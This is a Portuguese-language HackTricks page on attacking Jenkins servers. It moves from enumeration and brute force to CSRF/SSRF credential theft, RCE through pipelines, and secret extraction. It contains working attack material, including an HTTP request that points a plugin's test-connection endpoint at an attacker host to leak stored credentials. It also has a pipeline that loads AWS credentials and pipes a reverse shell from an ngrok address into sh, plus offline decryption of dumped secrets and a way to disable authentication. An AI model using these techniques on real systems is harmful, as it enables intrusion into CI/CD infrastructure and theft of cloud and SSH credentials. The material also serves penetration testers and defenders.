Segurança do Jenkins

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Informações Básicas

Jenkins é uma ferramenta que oferece um método direto para estabelecer um ambiente de integração contínua ou entrega contínua (CI/CD) para quase qualquer combinação de linguagens de programação e repositórios de código-fonte usando pipelines. Além disso, automatiza várias tarefas rotineiras de desenvolvimento. Embora o Jenkins não elimine a necessidade de criar scripts para passos individuais, ele fornece uma forma mais rápida e robusta de integrar toda a sequência de ferramentas de build, teste e implantação do que se conseguiria construir manualmente com facilidade.

Basic Jenkins Information

Enumeração Não Autenticada

Para buscar páginas interessantes do Jenkins sem autenticação, como (/people ou /asynchPeople, que lista os usuários atuais), você pode usar:

msf> use auxiliary/scanner/http/jenkins_enum

Verifique se você pode executar comandos sem precisar de autenticação:

msf> use auxiliary/scanner/http/jenkins_command

Sem credenciais você pode inspecionar o caminho /asynchPeople/ ou /securityRealm/user/admin/search/index?q= em busca de nomes de usuário.

Você pode conseguir a versão do Jenkins a partir do caminho /oops ou /error

Vulnerabilidades conhecidas

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers

Login

Nas informações básicas você pode verificar todas as formas de login no Jenkins:

Basic Jenkins Information

Registro

Você pode encontrar instâncias do Jenkins que permitem criar uma conta e efetuar login nelas. Tão simples quanto isso.

SSO Login

Além disso, se a SSO functionality/plugins estiverem presentes então você deve tentar log-in na aplicação usando uma conta de teste (i.e., uma conta de teste Github/Bitbucket account). Trick from here.

Bruteforce

Jenkins não possui política de senha nem mitigação de username brute-force. É essencial brute-force usuários, já que senhas fracas ou nomes de usuário como senha podem estar em uso, inclusive nomes de usuário invertidos como senha.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Use this python script or this powershell script.

IP Whitelisting Bypass

Muitas organizações combinam SaaS-based source control management (SCM) systems como GitHub ou GitLab com uma solução internal, self-hosted CI como Jenkins ou TeamCity. Essa configuração permite que os sistemas CI receive webhook events from SaaS source control vendors, principalmente para disparar pipeline jobs.

Para isso, as organizações whitelist as IP ranges das plataformas SCM, permitindo que acessem o internal CI system via webhooks. No entanto, é importante notar que anyone pode criar uma account no GitHub ou GitLab e configurá-la para trigger a webhook, potencialmente enviando requisições para o internal CI system.

Check: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Internal Jenkins Abuses

Nestes cenários vamos supor que você tem uma conta válida para acessar o Jenkins.

Warning

Dependendo do mecanismo de Autorização configurado no Jenkins e das permissões do usuário comprometido, você pode ou não conseguir realizar os ataques a seguir.

For more information check the basic information:

Basic Jenkins Information

Listing users

Se você acessou o Jenkins, pode listar outros usuários registrados em http://127.0.0.1:8080/asynchPeople/

Dumping builds to find cleartext secrets

Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)

Alguns plugins expõem manipuladores Jelly validateButton ou test connection em caminhos como /descriptorByName/<Class>/testConnection. Quando os handlers não aplicam POST ou verificações de permissão, você pode:

  • Trocar POST por GET e remover o Crumb para contornar verificações CSRF.
  • Disparar o handler como low-priv/anonymous se não existir uma verificação Jenkins.ADMINISTER.
  • Fazer CSRF em um admin e substituir o parâmetro host/URL para exfiltrate credentials ou acionar chamadas de saída.
  • Usar os erros de resposta (por exemplo, ConnectException) como um oráculo SSRF/port-scan.

Exemplo GET (sem Crumb) transformando uma chamada de validação em SSRF/credential exfiltration:

GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080

Se o plugin reutilizar stored creds, o Jenkins tentará autenticar-se em attacker:4444 e pode leak identificadores ou erros na resposta. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

Stealing SSH Credentials

Se o usuário comprometido tiver privilégios suficientes para create/modify a new Jenkins node e SSH credentials já estiverem armazenadas para acessar outros nós, ele poderia steal those credentials ao criar/modificar um node e configurar um host que irá registrar as credenciais sem verificar a chave do host:

Você normalmente encontrará as SSH credentials do Jenkins em um global provider (/credentials/), então você também pode dumpá-las como faria com qualquer outro segredo. More information in the Dumping secrets section.

RCE in Jenkins

Obter um shell in the Jenkins server dá ao atacante a oportunidade de leak todos os secrets e env variables e de explorar outras máquinas localizadas na mesma rede ou até mesmo gather cloud credentials.

Por padrão, o Jenkins irá run as SYSTEM. Portanto, comprometer ele dará ao atacante SYSTEM privileges.

RCE Creating/Modifying a project

Creating/Modifying a project é uma forma de obter RCE over the Jenkins server:

Jenkins RCE Creating/Modifying Project

RCE Execute Groovy script

Você também pode obter RCE executando um script Groovy, o que pode ser mais furtivo do que criar um novo projeto:

Jenkins RCE with Groovy Script

RCE Creating/Modifying Pipeline

Você também pode obter RCE by creating/modifying a pipeline:

Jenkins RCE Creating/Modifying Pipeline

Pipeline Exploitation

Para explorar pipelines você ainda precisa ter acesso ao Jenkins.

Build Pipelines

Pipelines também podem ser usados como mecanismo de build em projetos; nesse caso pode ser configurado um file inside the repository que conterá a sintaxe do pipeline. Por padrão /Jenkinsfile é usado:

Também é possível store pipeline configuration files in other places (por exemplo, em outros repositórios) com o objetivo de separar o acesso ao repositório do acesso ao pipeline.

Se um atacante tiver write access over that file ele poderá modify o arquivo e potentially trigger o pipeline sem sequer ter acesso ao Jenkins. É possível que o atacante precise bypass some branch protections (dependendo da plataforma e dos privilégios do usuário elas podem ou não ser contornadas).

Note

Se você for um external user não deve esperar criar um PR to the main branch do repositório de outro user/organization e trigger the pipeline… mas se estiver bad configured você poderia comprometer completamente empresas apenas explorando isso.

Pipeline RCE

Na seção anterior de RCE já foi indicada uma técnica para get RCE modifying a pipeline.

Checking Env variables

É possível declarar clear text env variables para todo o pipeline ou para estágios específicos. Essas env variables shouldn’t contain sensitive info, mas um atacante sempre poderia verificar toda a configuração do pipeline/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Extraindo segredos

Para obter informações sobre como os segredos são normalmente tratados pelo Jenkins, consulte as informações básicas:

Basic Jenkins Information

As credenciais podem ser vinculadas a provedores globais (/credentials/) ou a projetos específicos (/job/<project-name>/configure). Portanto, para exfiltrar todas elas você precisa comprometer pelo menos todos os projetos que contêm segredos e executar custom/poisoned pipelines.

Há outro problema: para obter um segredo dentro do env de um pipeline você precisa saber o nome e o tipo do segredo. Por exemplo, se você tentar carregar um usernamePassword segredo como um string segredo você receberá este erro:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Aqui está a forma de carregar alguns tipos comuns de secret:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

No final desta página você pode encontrar todos os tipos de credenciais: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Warning

A melhor forma de dump all the secrets at once é compromising a máquina Jenkins (executando um reverse shell no built-in node por exemplo) e então leaking as master keys e os encrypted secrets e decrypting them offline.
Mais sobre como fazer isso na Nodes & Agents section e na Post Exploitation section.

Triggers

De acordo com the docs: A diretiva triggers define as maneiras automatizadas pelas quais o Pipeline deve ser disparado novamente. Para Pipelines que estão integrados com uma fonte como GitHub ou BitBucket, triggers pode não ser necessário, pois a integração via webhooks provavelmente já estará presente. Os triggers atualmente disponíveis são cron, pollSCM e upstream.

Cron example:

triggers { cron('H */4 * * 1-5') }

Consulte outros exemplos na documentação.

Nós & Agentes

Uma Jenkins instance pode ter agentes diferentes executando em máquinas diferentes. Do ponto de vista de um atacante, o acesso a máquinas diferentes significa potenciais credenciais de cloud diferentes para roubar ou diferente acesso à rede que pode ser abusado para explorar outras máquinas.

Para mais informações confira as informações básicas:

Basic Jenkins Information

Você pode enumerar os nós configurados em /computer/, normalmente você encontrará o Built-In Node (que é o nó que executa o Jenkins) e potencialmente outros:

É especialmente interessante comprometer o Built-In node porque ele contém informações sensíveis do Jenkins.

Para indicar que você quer executar o pipeline no built-in Jenkins node você pode especificar dentro do pipeline a seguinte configuração:

pipeline {
agent {label 'built-in'}

Exemplo completo

Pipeline em um agente específico, com um cron trigger, com env variables de pipeline e stage, carregando 2 variáveis em um step e enviando um reverse shell:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrary File Read to RCE

Jenkins Arbitrary File Read to RCE via “Remember Me”

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Você pode listar os secrets acessando /credentials/ se tiver permissões suficientes. Note que isso listará apenas os secrets dentro do arquivo credentials.xml, mas build configuration files podem também conter mais credentials.

Se você puder ver a configuração de cada projeto, também poderá ver ali os nomes das credentials (secrets) usados para acessar o repositório e outros credentials do projeto.

A partir de Groovy

Jenkins Dumping Secrets from Groovy

Do disco

Estes arquivos são necessários para descriptografar os Jenkins secrets:

  • secrets/master.key
  • secrets/hudson.util.Secret

Tais secrets geralmente podem ser encontrados em:

  • credentials.xml
  • jobs/…/build.xml
  • jobs/…/config.xml

Aqui está uma regex para encontrá-los:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Descriptografar segredos do Jenkins offline

Se você tiver extraído as senhas necessárias para descriptografar os segredos, use este script para descriptografar esses segredos.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Descriptografar segredos do Jenkins a partir de Groovy

println(hudson.util.Secret.decrypt("{...}"))

Criar novo usuário administrador

  1. Acesse o arquivo config.xml do Jenkins em /var/lib/jenkins/config.xml ou C:\Program Files (x86)\Jenkis\
  2. Procure por <useSecurity>true</useSecurity> e troque a palavra true por false.
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Reinicie o servidor Jenkins: service jenkins restart
  5. Agora vá ao portal do Jenkins novamente e o Jenkins não solicitará credenciais desta vez. Navegue para “Manage Jenkins” para definir a senha do administrador novamente.
  6. Habilite a segurança novamente alterando para <useSecurity>true</useSecurity> e reinicie o Jenkins novamente.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks